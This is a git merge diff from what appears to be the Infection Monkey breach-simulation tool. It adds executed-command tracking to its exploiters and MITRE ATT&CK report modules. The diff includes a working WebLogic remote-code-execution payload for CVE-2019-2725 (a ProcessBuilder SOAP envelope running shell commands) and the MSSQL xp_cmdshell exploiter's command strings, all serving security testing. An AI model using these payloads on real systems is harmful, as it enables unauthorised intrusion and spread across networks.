Merge branch 'develop' into feature/refactor-telem-retro

# Conflicts:
#	monkey/infection_monkey/exploit/__init__.py
#	monkey/infection_monkey/post_breach/pba.py
This commit is contained in:
itay 2019-07-07 11:59:18 +03:00
commit a9ec2a39bc
35 changed files with 612 additions and 158 deletions

View File

@ -20,13 +20,12 @@ class HostExploiter(object):
def __init__(self, host): def __init__(self, host):
self._config = infection_monkey.config.WormConfiguration self._config = infection_monkey.config.WormConfiguration
self.exploit_info = { self.exploit_info = {'display_name': self._EXPLOITED_SERVICE,
'display_name': self._EXPLOITED_SERVICE, 'started': '',
'started': '', 'finished': '',
'finished': '', 'vulnerable_urls': [],
'vulnerable_urls': [], 'vulnerable_ports': [],
'vulnerable_ports': [] 'executed_cmds': []}
}
self.exploit_attempts = [] self.exploit_attempts = []
self.host = host self.host = host
@ -69,6 +68,14 @@ class HostExploiter(object):
def add_vuln_port(self, port): def add_vuln_port(self, port):
self.exploit_info['vulnerable_ports'].append(port) self.exploit_info['vulnerable_ports'].append(port)
def add_executed_cmd(self, cmd):
"""
Appends command to exploiter's info.
:param cmd: String of executed command. e.g. 'echo Example'
"""
powershell = True if "powershell" in cmd.lower() else False
self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell})
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
from infection_monkey.exploit.wmiexec import WmiExploiter from infection_monkey.exploit.wmiexec import WmiExploiter

View File

@ -49,6 +49,7 @@ class HadoopExploiter(WebRCE):
return False return False
http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop() http_thread.stop()
self.add_executed_cmd(command)
return True return True
def exploit(self, url, command): def exploit(self, url, command):

View File

@ -66,7 +66,7 @@ class MSSQLExploiter(HostExploiter):
"xp_cmdshell \"<nul set /p=, ^\'%s^\') >>%s\"" % (dst_path, tmp_file_path)] "xp_cmdshell \"<nul set /p=, ^\'%s^\') >>%s\"" % (dst_path, tmp_file_path)]
MSSQLExploiter.execute_command(cursor, commands) MSSQLExploiter.execute_command(cursor, commands)
MSSQLExploiter.run_file(cursor, tmp_file_path) MSSQLExploiter.run_file(cursor, tmp_file_path)
self.add_executed_cmd(' '.join(commands))
# Form monkey's command in a file # Form monkey's command in a file
monkey_args = tools.build_monkey_commandline(self.host, monkey_args = tools.build_monkey_commandline(self.host,
tools.get_monkey_depth() - 1, tools.get_monkey_depth() - 1,
@ -77,7 +77,7 @@ class MSSQLExploiter(HostExploiter):
commands.extend(monkey_args) commands.extend(monkey_args)
MSSQLExploiter.execute_command(cursor, commands) MSSQLExploiter.execute_command(cursor, commands)
MSSQLExploiter.run_file(cursor, tmp_file_path) MSSQLExploiter.run_file(cursor, tmp_file_path)
self.add_executed_cmd(commands[-1])
return True return True
@staticmethod @staticmethod

View File

@ -343,5 +343,5 @@ class RdpExploiter(HostExploiter):
LOG.info("Executed monkey '%s' on remote victim %r", LOG.info("Executed monkey '%s' on remote victim %r",
os.path.basename(src_path), self.host) os.path.basename(src_path), self.host)
self.add_executed_cmd(command)
return True return True

View File

@ -144,6 +144,7 @@ class ShellShockExploiter(HostExploiter):
if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)): if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run") LOG.info("Log file does not exist, monkey might not have run")
continue continue
self.add_executed_cmd(cmdline)
return True return True
return False return False

View File

@ -178,6 +178,7 @@ class SSHExploiter(HostExploiter):
self._config.dropper_target_path_linux, self.host, cmdline) self._config.dropper_target_path_linux, self.host, cmdline)
ssh.close() ssh.close()
self.add_executed_cmd(cmdline)
return True return True
except Exception as exc: except Exception as exc:

View File

@ -138,6 +138,7 @@ class VSFTPDExploiter(HostExploiter):
if backdoor_socket.send(run_monkey): if backdoor_socket.send(run_monkey):
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux,
self.host, run_monkey) self.host, run_monkey)
self.add_executed_cmd(run_monkey)
return True return True
else: else:
return False return False

View File

@ -338,7 +338,7 @@ class WebRCE(HostExploiter):
command = self.get_command(paths['dest_path'], http_path, commands) command = self.get_command(paths['dest_path'], http_path, commands)
resp = self.exploit(url, command) resp = self.exploit(url, command)
self.add_executed_cmd(command)
resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path) resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path)
http_thread.join(DOWNLOAD_TIMEOUT) http_thread.join(DOWNLOAD_TIMEOUT)
@ -408,6 +408,7 @@ class WebRCE(HostExploiter):
# If exploiter returns True / False # If exploiter returns True / False
if type(resp) is bool: if type(resp) is bool:
LOG.info("Execution attempt successfully finished") LOG.info("Execution attempt successfully finished")
self.add_executed_cmd(command)
return resp return resp
# If exploiter returns command output, we can check for execution errors # If exploiter returns command output, we can check for execution errors
if 'is not recognized' in resp or 'command not found' in resp: if 'is not recognized' in resp or 'command not found' in resp:
@ -420,6 +421,8 @@ class WebRCE(HostExploiter):
LOG.error("Something went wrong when trying to execute remote monkey: %s" % e) LOG.error("Something went wrong when trying to execute remote monkey: %s" % e)
return False return False
LOG.info("Execution attempt finished") LOG.info("Execution attempt finished")
self.add_executed_cmd(command)
return resp return resp
def get_monkey_upload_path(self, url_to_monkey): def get_monkey_upload_path(self, url_to_monkey):

View File

@ -1,3 +1,48 @@
from __future__ import print_function
import threading
import logging
import time
import copy
from requests import post, exceptions
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
# How long server waits for get request in seconds
SERVER_TIMEOUT = 4
# How long should we wait after each request in seconds
REQUEST_DELAY = 0.1
# How long to wait for a sign(request from host) that server is vulnerable. In seconds
REQUEST_TIMEOUT = 5
# How long to wait for response in exploitation. In seconds
EXECUTION_TIMEOUT = 15
# Malicious requests' headers:
HEADERS = {
"Content-Type": "text/xml;charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
}
class WebLogicExploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Weblogic'
def exploit_host(self):
exploiters = [WebLogic20192725, WebLogic201710271]
for exploiter in exploiters:
if exploiter(self.host).exploit_host():
return True
# Exploit based of: # Exploit based of:
# Kevin Kirsche (d3c3pt10n) # Kevin Kirsche (d3c3pt10n)
# https://github.com/kkirsche/CVE-2017-10271 # https://github.com/kkirsche/CVE-2017-10271
@ -5,57 +50,29 @@
# Luffin from Github # Luffin from Github
# https://github.com/Luffin/CVE-2017-10271 # https://github.com/Luffin/CVE-2017-10271
# CVE: CVE-2017-10271 # CVE: CVE-2017-10271
from __future__ import print_function class WebLogic201710271(WebRCE):
from requests import post, exceptions URLS = ["/wls-wsat/CoordinatorPortType",
from infection_monkey.exploit.web_rce import WebRCE "/wls-wsat/CoordinatorPortType11",
from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target "/wls-wsat/ParticipantPortType",
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer "/wls-wsat/ParticipantPortType11",
"/wls-wsat/RegistrationPortTypeRPC",
"/wls-wsat/RegistrationPortTypeRPC11",
"/wls-wsat/RegistrationRequesterPortType",
"/wls-wsat/RegistrationRequesterPortType11"]
import threading _TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE
import logging _EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE
import time
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
# How long server waits for get request in seconds
SERVER_TIMEOUT = 4
# How long should be wait after each request in seconds
REQUEST_DELAY = 0.0001
# How long to wait for a sign(request from host) that server is vulnerable. In seconds
REQUEST_TIMEOUT = 5
# How long to wait for response in exploitation. In seconds
EXECUTION_TIMEOUT = 15
URLS = ["/wls-wsat/CoordinatorPortType",
"/wls-wsat/CoordinatorPortType11",
"/wls-wsat/ParticipantPortType",
"/wls-wsat/ParticipantPortType11",
"/wls-wsat/RegistrationPortTypeRPC",
"/wls-wsat/RegistrationPortTypeRPC11",
"/wls-wsat/RegistrationRequesterPortType",
"/wls-wsat/RegistrationRequesterPortType11"]
# Malicious request's headers:
HEADERS = {
"Content-Type": "text/xml;charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
}
class WebLogicExploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Weblogic'
def __init__(self, host): def __init__(self, host):
super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh', super(WebLogic201710271, self).__init__(host, {'linux': '/tmp/monkey.sh',
'win32': 'monkey32.exe', 'win32': 'monkey32.exe',
'win64': 'monkey64.exe'}) 'win64': 'monkey64.exe'})
def get_exploit_config(self): def get_exploit_config(self):
exploit_config = super(WebLogicExploiter, self).get_exploit_config() exploit_config = super(WebLogic201710271, self).get_exploit_config()
exploit_config['blind_exploit'] = True exploit_config['blind_exploit'] = True
exploit_config['stop_checking_urls'] = True exploit_config['stop_checking_urls'] = True
exploit_config['url_extensions'] = URLS exploit_config['url_extensions'] = WebLogic201710271.URLS
return exploit_config return exploit_config
def exploit(self, url, command): def exploit(self, url, command):
@ -66,8 +83,8 @@ class WebLogicExploiter(WebRCE):
try: try:
post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False) post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False)
except Exception as e: except Exception as e:
print('[!] Connection Error') LOG.error("Connection error: %s" % e)
print(e) return False
return True return True
@ -196,6 +213,7 @@ class WebLogicExploiter(WebRCE):
Http server built to wait for GET requests. Because oracle web logic vuln is blind, Http server built to wait for GET requests. Because oracle web logic vuln is blind,
we determine if we can exploit by either getting a GET request from host or not. we determine if we can exploit by either getting a GET request from host or not.
""" """
def __init__(self, local_ip, local_port, lock, max_requests=1): def __init__(self, local_ip, local_port, lock, max_requests=1):
self.local_ip = local_ip self.local_ip = local_ip
self.local_port = local_port self.local_port = local_port
@ -212,6 +230,7 @@ class WebLogicExploiter(WebRCE):
def do_GET(): def do_GET():
LOG.info('Server received a request from vulnerable machine') LOG.info('Server received a request from vulnerable machine')
self.get_requests += 1 self.get_requests += 1
LOG.info('Server waiting for exploited machine request...') LOG.info('Server waiting for exploited machine request...')
httpd = HTTPServer((self.local_ip, self.local_port), S) httpd = HTTPServer((self.local_ip, self.local_port), S)
httpd.daemon = True httpd.daemon = True
@ -224,3 +243,82 @@ class WebLogicExploiter(WebRCE):
def stop(self): def stop(self):
self._stopped = True self._stopped = True
# Exploit based of:
# Andres Rodriguez (acamro)
# https://github.com/rapid7/metasploit-framework/pull/11780
class WebLogic20192725(WebRCE):
URLS = ["_async/AsyncResponseServiceHttps"]
_TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE
_EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE
def __init__(self, host):
super(WebLogic20192725, self).__init__(host)
def get_exploit_config(self):
exploit_config = super(WebLogic20192725, self).get_exploit_config()
exploit_config['url_extensions'] = WebLogic20192725.URLS
exploit_config['blind_exploit'] = True
exploit_config['dropper'] = True
return exploit_config
def exploit(self, url, command):
if 'linux' in self.host.os['type']:
payload = self.get_exploit_payload('/bin/sh', '-c', command)
else:
payload = self.get_exploit_payload('cmd', '/c', command)
try:
resp = post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT)
return resp
except Exception as e:
LOG.error("Connection error: %s" % e)
return False
def check_if_exploitable(self, url):
headers = copy.deepcopy(HEADERS).update({'SOAPAction': ''})
res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT)
if res.status_code == 500 and "<faultcode>env:Client</faultcode>" in res.text:
return True
else:
return False
@staticmethod
def get_exploit_payload(cmd_base, cmd_opt, command):
"""
Formats the payload used to exploit weblogic servers
:param cmd_base: What command prompt to use eg. cmd
:param cmd_opt: cmd_base commands parameters. eg. /c (to run command)
:param command: command itself
:return: Formatted payload
"""
empty_payload = '''
<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"
xmlns:wsa=\"http://www.w3.org/2005/08/addressing\" xmlns:asy=\"http://www.bea.com/async/AsyncResponseService\">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\">
<void class=\"java.lang.ProcessBuilder\">
<array class=\"java.lang.String\" length=\"3\">
<void index=\"0\">
<string>{cmd_base}</string>
</void>
<void index=\"1\">
<string>{cmd_opt}</string>
</void>
<void index=\"2\">
<string>{cmd_payload}</string>
</void>
</array>
<void method=\"start\"/>
</void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body>
</soapenv:Envelope>'''
payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command)
return payload

View File

@ -114,7 +114,7 @@ class WmiExploiter(HostExploiter):
result.RemRelease() result.RemRelease()
wmi_connection.close() wmi_connection.close()
self.add_executed_cmd(cmdline)
return success return success
return False return False

View File

@ -2,8 +2,8 @@
Define a Document Schema for the Monkey document. Define a Document Schema for the Monkey document.
""" """
import mongoengine import mongoengine
from mongoengine import Document, StringField, ListField, BooleanField, EmbeddedDocumentField, DateField, \ from mongoengine import Document, StringField, ListField, BooleanField, EmbeddedDocumentField, ReferenceField, \
ReferenceField DateTimeField
from monkey_island.cc.models.monkey_ttl import MonkeyTtl from monkey_island.cc.models.monkey_ttl import MonkeyTtl
@ -24,8 +24,8 @@ class Monkey(Document):
hostname = StringField() hostname = StringField()
internet_access = BooleanField() internet_access = BooleanField()
ip_addresses = ListField(StringField()) ip_addresses = ListField(StringField())
keepalive = DateField() keepalive = DateTimeField()
modifytime = DateField() modifytime = DateTimeField()
# TODO change this to an embedded document as well - RN it's an unnamed tuple which is confusing. # TODO change this to an embedded document as well - RN it's an unnamed tuple which is confusing.
parent = ListField(ListField(StringField())) parent = ListField(ListField(StringField()))
config_error = BooleanField() config_error = BooleanField()
@ -41,6 +41,10 @@ class Monkey(Document):
except IndexError: except IndexError:
raise MonkeyNotFoundError("id: {0}".format(str(db_id))) raise MonkeyNotFoundError("id: {0}".format(str(db_id)))
@staticmethod
def get_latest_modifytime():
return Monkey.objects.order_by('-modifytime').first().modifytime
def is_dead(self): def is_dead(self):
monkey_is_dead = False monkey_is_dead = False
if self.dead: if self.dead:

View File

@ -82,9 +82,9 @@ class TelemetryFeed(flask_restful.Resource):
@staticmethod @staticmethod
def get_post_breach_telem_brief(telem): def get_post_breach_telem_brief(telem):
return '%s post breach action executed on %s (%s) machine' % (telem['data']['name'], return '%s post breach action executed on %s (%s) machine.' % (telem['data']['name'],
telem['data']['hostname'], telem['data']['hostname'],
telem['data']['ip']) telem['data']['ip'])
@staticmethod @staticmethod
def get_attack_telem_brief(telem): def get_attack_telem_brief(telem):

View File

@ -1,5 +1,6 @@
import logging import logging
from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110 from monkey_island.cc.models import Monkey
from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086
from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.services.attack.attack_config import AttackConfig
from monkey_island.cc.database import mongo from monkey_island.cc.database import mongo
@ -10,7 +11,11 @@ LOG = logging.getLogger(__name__)
TECHNIQUES = {'T1210': T1210.T1210, TECHNIQUES = {'T1210': T1210.T1210,
'T1197': T1197.T1197, 'T1197': T1197.T1197,
'T1110': T1110.T1110} 'T1110': T1110.T1110,
'T1075': T1075.T1075,
'T1003': T1003.T1003,
'T1059': T1059.T1059,
'T1086': T1086.T1086}
REPORT_NAME = 'new_report' REPORT_NAME = 'new_report'
@ -25,7 +30,13 @@ class AttackReportService:
Generates new report based on telemetries, replaces old report in db with new one. Generates new report based on telemetries, replaces old report in db with new one.
:return: Report object :return: Report object
""" """
report = {'techniques': {}, 'latest_telem_time': AttackReportService.get_latest_attack_telem_time(), 'name': REPORT_NAME} report =\
{
'techniques': {},
'meta': {'latest_monkey_modifytime': Monkey.get_latest_modifytime()},
'name': REPORT_NAME
}
for tech_id, value in AttackConfig.get_technique_values().items(): for tech_id, value in AttackConfig.get_technique_values().items():
if value: if value:
try: try:
@ -51,9 +62,10 @@ class AttackReportService:
:return: report dict. :return: report dict.
""" """
if AttackReportService.is_report_generated(): if AttackReportService.is_report_generated():
telem_time = AttackReportService.get_latest_attack_telem_time() monkey_modifytime = Monkey.get_latest_modifytime()
latest_report = mongo.db.attack_report.find_one({'name': REPORT_NAME}) latest_report = mongo.db.attack_report.find_one({'name': REPORT_NAME})
if telem_time and latest_report['latest_telem_time'] and telem_time == latest_report['latest_telem_time']: report_modifytime = latest_report['meta']['latest_monkey_modifytime']
if monkey_modifytime and report_modifytime and monkey_modifytime == report_modifytime:
return latest_report return latest_report
return AttackReportService.generate_new_report() return AttackReportService.generate_new_report()

View File

@ -84,5 +84,27 @@ SCHEMA = {
} }
} }
}, },
"execution": {
"title": "Execution",
"type": "object",
"properties": {
"T1059": {
"title": "T1059 Command line interface",
"type": "bool",
"value": True,
"necessary": True,
"description": "Adversaries may use command-line interfaces to interact with systems "
"and execute other software during the course of an operation.",
},
"T1086": {
"title": "T1086 Powershell",
"type": "bool",
"value": True,
"necessary": True,
"description": "Adversaries can use PowerShell to perform a number of actions,"
" including discovery of information and execution of code.",
}
}
},
} }
} }

View File

@ -0,0 +1,27 @@
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.database import mongo
__author__ = "VakarisZ"
class T1003(AttackTechnique):
tech_id = "T1003"
unscanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed."
scanned_msg = ""
used_msg = "Monkey successfully obtained some credentials from systems on the network."
query = {'telem_category': 'system_info_collection', '$and': [{'data.credentials': {'$exists': True}},
# $gt: {} checks if field is not an empty object
{'data.credentials': {'$gt': {}}}]}
@staticmethod
def get_report_data():
data = {'title': T1003.technique_title()}
if mongo.db.telemetry.count_documents(T1003.query):
status = ScanStatus.USED
else:
status = ScanStatus.UNSCANNED
data.update(T1003.get_message_and_status(status))
return data

View File

@ -0,0 +1,34 @@
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.database import mongo
__author__ = "VakarisZ"
class T1059(AttackTechnique):
tech_id = "T1059"
unscanned_msg = "Monkey didn't exploit any machines to run commands at."
scanned_msg = ""
used_msg = "Monkey successfully ran commands on exploited machines in the network."
query = [{'$match': {'telem_category': 'exploit',
'data.info.executed_cmds': {'$exists': True, '$ne': []}}},
{'$unwind': '$data.info.executed_cmds'},
{'$sort': {'data.info.executed_cmds.powershell': 1}},
{'$project': {'_id': 0,
'machine': '$data.machine',
'info': '$data.info'}},
{'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}},
{'$project': {'_id': 0, 'data': {'$arrayElemAt': ['$data', 0]}}}]
@staticmethod
def get_report_data():
cmd_data = list(mongo.db.telemetry.aggregate(T1059.query))
data = {'title': T1059.technique_title(), 'cmds': cmd_data}
if cmd_data:
status = ScanStatus.USED
else:
status = ScanStatus.UNSCANNED
data.update(T1059.get_message_and_status(status))
return data

View File

@ -0,0 +1,44 @@
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.database import mongo
__author__ = "VakarisZ"
class T1075(AttackTechnique):
tech_id = "T1075"
unscanned_msg = "Monkey didn't try to use pass the hash attack."
scanned_msg = "Monkey tried to use hashes while logging in but didn't succeed."
used_msg = "Monkey successfully used hashed credentials."
login_attempt_query = {'data.attempts': {'$elemMatch': {'$or': [{'ntlm_hash': {'$ne': ''}},
{'lm_hash': {'$ne': ''}}]}}}
# Gets data about successful PTH logins
query = [{'$match': {'telem_category': 'exploit',
'data.attempts': {'$not': {'$size': 0},
'$elemMatch': {'$and': [{'$or': [{'ntlm_hash': {'$ne': ''}},
{'lm_hash': {'$ne': ''}}]},
{'result': True}]}}}},
{'$project': {'_id': 0,
'machine': '$data.machine',
'info': '$data.info',
'attempt_cnt': {'$size': '$data.attempts'},
'attempts': {'$filter': {'input': '$data.attempts',
'as': 'attempt',
'cond': {'$eq': ['$$attempt.result', True]}}}}}]
@staticmethod
def get_report_data():
data = {'title': T1075.technique_title()}
successful_logins = list(mongo.db.telemetry.aggregate(T1075.query))
data.update({'successful_logins': successful_logins})
if successful_logins:
status = ScanStatus.USED
elif mongo.db.telemetry.count_documents(T1075.login_attempt_query):
status = ScanStatus.SCANNED
else:
status = ScanStatus.UNSCANNED
data.update(T1075.get_message_and_status(status))
return data

View File

@ -0,0 +1,36 @@
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.database import mongo
__author__ = "VakarisZ"
class T1086(AttackTechnique):
tech_id = "T1086"
unscanned_msg = "Monkey didn't run powershell."
scanned_msg = ""
used_msg = "Monkey successfully ran powershell commands on exploited machines in the network."
query = [{'$match': {'telem_category': 'exploit',
'data.info.executed_cmds': {'$elemMatch': {'powershell': True}}}},
{'$project': {'machine': '$data.machine',
'info': '$data.info'}},
{'$project': {'_id': 0,
'machine': 1,
'info.finished': 1,
'info.executed_cmds': {'$filter': {'input': '$info.executed_cmds',
'as': 'command',
'cond': {'$eq': ['$$command.powershell', True]}}}}},
{'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}}]
@staticmethod
def get_report_data():
cmd_data = list(mongo.db.telemetry.aggregate(T1086.query))
data = {'title': T1086.technique_title(), 'cmds': cmd_data}
if cmd_data:
status = ScanStatus.USED
else:
status = ScanStatus.UNSCANNED
data.update(T1086.get_message_and_status(status))
return data

View File

@ -13,7 +13,7 @@ class T1110(AttackTechnique):
used_msg = "Monkey successfully used brute force in the network." used_msg = "Monkey successfully used brute force in the network."
# Gets data about brute force attempts # Gets data about brute force attempts
query = [{'$match': {'telem_type': 'exploit', query = [{'$match': {'telem_category': 'exploit',
'data.attempts': {'$not': {'$size': 0}}}}, 'data.attempts': {'$not': {'$size': 0}}}},
{'$project': {'_id': 0, {'$project': {'_id': 0,
'machine': '$data.machine', 'machine': '$data.machine',
@ -35,16 +35,16 @@ class T1110(AttackTechnique):
result['successful_creds'].append(T1110.parse_creds(attempt)) result['successful_creds'].append(T1110.parse_creds(attempt))
if succeeded: if succeeded:
data = T1110.get_message_and_status(T1110, ScanStatus.USED) status = ScanStatus.USED
elif attempts: elif attempts:
data = T1110.get_message_and_status(T1110, ScanStatus.SCANNED) status = ScanStatus.SCANNED
else: else:
data = T1110.get_message_and_status(T1110, ScanStatus.UNSCANNED) status = ScanStatus.UNSCANNED
data = T1110.get_message_and_status(status)
# Remove data with no successful brute force attempts # Remove data with no successful brute force attempts
attempts = [attempt for attempt in attempts if attempt['attempts']] attempts = [attempt for attempt in attempts if attempt['attempts']]
data.update({'services': attempts, 'title': T1110.technique_title(T1110.tech_id)}) data.update({'services': attempts, 'title': T1110.technique_title()})
return data return data
@staticmethod @staticmethod

View File

@ -12,14 +12,16 @@ class T1197(AttackTechnique):
@staticmethod @staticmethod
def get_report_data(): def get_report_data():
data = T1197.get_tech_base_data(T1197) data = T1197.get_tech_base_data()
bits_results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'attack', 'data.technique': T1197.tech_id}}, bits_results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'attack',
{'$group': {'_id': {'ip_addr': '$data.machine.ip_addr', 'usage': '$data.usage'}, 'data.technique': T1197.tech_id}},
'ip_addr': {'$first': '$data.machine.ip_addr'}, {'$group': {'_id': {'ip_addr': '$data.machine.ip_addr',
'domain_name': {'$first': '$data.machine.domain_name'}, 'usage': '$data.usage'},
'usage': {'$first': '$data.usage'}, 'ip_addr': {'$first': '$data.machine.ip_addr'},
'time': {'$first': '$timestamp'}} 'domain_name': {'$first': '$data.machine.domain_name'},
}]) 'usage': {'$first': '$data.usage'},
'time': {'$first': '$timestamp'}}
}])
bits_results = list(bits_results) bits_results = list(bits_results)
data.update({'bits_jobs': bits_results}) data.update({'bits_jobs': bits_results})
return data return data

View File

@ -14,15 +14,16 @@ class T1210(AttackTechnique):
@staticmethod @staticmethod
def get_report_data(): def get_report_data():
data = {'title': T1210.technique_title(T1210.tech_id)} data = {'title': T1210.technique_title()}
scanned_services = T1210.get_scanned_services() scanned_services = T1210.get_scanned_services()
exploited_services = T1210.get_exploited_services() exploited_services = T1210.get_exploited_services()
if exploited_services: if exploited_services:
data.update({'status': ScanStatus.USED.name, 'message': T1210.used_msg}) status = ScanStatus.USED
elif scanned_services: elif scanned_services:
data.update({'status': ScanStatus.SCANNED.name, 'message': T1210.scanned_msg}) status = ScanStatus.SCANNED
else: else:
data.update({'status': ScanStatus.UNSCANNED.name, 'message': T1210.unscanned_msg}) status = ScanStatus.UNSCANNED
data.update(T1210.get_message_and_status(status))
data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services}) data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services})
return data return data

View File

@ -46,52 +46,63 @@ class AttackTechnique(object):
""" """
pass pass
@staticmethod @classmethod
def technique_status(technique): def technique_status(cls):
""" """
Gets the status of a certain attack technique. Gets the status of a certain attack technique.
:param technique: technique's id.
:return: ScanStatus Enum object :return: ScanStatus Enum object
""" """
if mongo.db.telemetry.find_one({'telem_category': 'attack', 'data.status': ScanStatus.USED.value, 'data.technique': technique}): if mongo.db.attack_results.find_one({'telem_category': 'attack',
'status': ScanStatus.USED.value,
'technique': cls.tech_id}):
return ScanStatus.USED return ScanStatus.USED
elif mongo.db.telemetry.find_one({'telem_category': 'attack', 'data.status': ScanStatus.SCANNED.value, 'data.technique': technique}): elif mongo.db.attack_results.find_one({'telem_category': 'attack',
'status': ScanStatus.SCANNED.value,
'technique': cls.tech_id}):
return ScanStatus.SCANNED return ScanStatus.SCANNED
else: else:
return ScanStatus.UNSCANNED return ScanStatus.UNSCANNED
@staticmethod @classmethod
def get_message_and_status(technique, status): def get_message_and_status(cls, status):
return {'message': technique.get_message_by_status(technique, status), 'status': status.name} """
Returns a dict with attack technique's message and status.
@staticmethod :param status: Enum type value from common/attack_utils.py
def get_message_by_status(technique, status): :return: Dict with message and status
if status == ScanStatus.UNSCANNED: """
return technique.unscanned_msg return {'message': cls.get_message_by_status(status), 'status': status.name}
elif status == ScanStatus.SCANNED:
return technique.scanned_msg @classmethod
else: def get_message_by_status(cls, status):
return technique.used_msg """
Picks a message to return based on status.
@staticmethod :param status: Enum type value from common/attack_utils.py
def technique_title(technique): :return: message string
"""
if status == ScanStatus.UNSCANNED:
return cls.unscanned_msg
elif status == ScanStatus.SCANNED:
return cls.scanned_msg
else:
return cls.used_msg
@classmethod
def technique_title(cls):
""" """
:param technique: Technique's id. E.g. T1110
:return: techniques title. E.g. "T1110 Brute force" :return: techniques title. E.g. "T1110 Brute force"
""" """
return AttackConfig.get_technique(technique)['title'] return AttackConfig.get_technique(cls.tech_id)['title']
@staticmethod @classmethod
def get_tech_base_data(technique): def get_tech_base_data(cls):
""" """
Gathers basic attack technique data into a dict. Gathers basic attack technique data into a dict.
:param technique: Technique's id. E.g. T1110
:return: dict E.g. {'message': 'Brute force used', 'status': 'Used', 'title': 'T1110 Brute force'} :return: dict E.g. {'message': 'Brute force used', 'status': 'Used', 'title': 'T1110 Brute force'}
""" """
data = {} data = {}
status = AttackTechnique.technique_status(technique.tech_id) status = cls.technique_status()
title = AttackTechnique.technique_title(technique.tech_id) title = cls.technique_title()
data.update({'status': status.name, data.update({'status': status.name,
'title': title, 'title': title,
'message': technique.get_message_by_status(technique, status)}) 'message': cls.get_message_by_status(status)})
return data return data

View File

@ -89,7 +89,7 @@ SCHEMA = {
"enum": [ "enum": [
"WebLogicExploiter" "WebLogicExploiter"
], ],
"title": "Oracle Web Logic Exploiter" "title": "WebLogic Exploiter"
}, },
{ {
"type": "string", "type": "string",

View File

@ -308,10 +308,6 @@ class NodeService:
def is_monkey_finished_running(): def is_monkey_finished_running():
return NodeService.is_any_monkey_exists() and not NodeService.is_any_monkey_alive() return NodeService.is_any_monkey_exists() and not NodeService.is_any_monkey_alive()
@staticmethod
def get_latest_modified_monkey():
return mongo.db.monkey.find({}).sort('modifytime', -1).limit(1)
@staticmethod @staticmethod
def add_credentials_to_monkey(monkey_id, creds): def add_credentials_to_monkey(monkey_id, creds):
mongo.db.monkey.update( mongo.db.monkey.update(

View File

@ -10,6 +10,7 @@ from enum import Enum
from six import text_type from six import text_type
from monkey_island.cc.database import mongo from monkey_island.cc.database import mongo
from monkey_island.cc.models import Monkey
from monkey_island.cc.report_exporter_manager import ReportExporterManager from monkey_island.cc.report_exporter_manager import ReportExporterManager
from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.services.edge import EdgeService from monkey_island.cc.services.edge import EdgeService
@ -714,7 +715,7 @@ class ReportService:
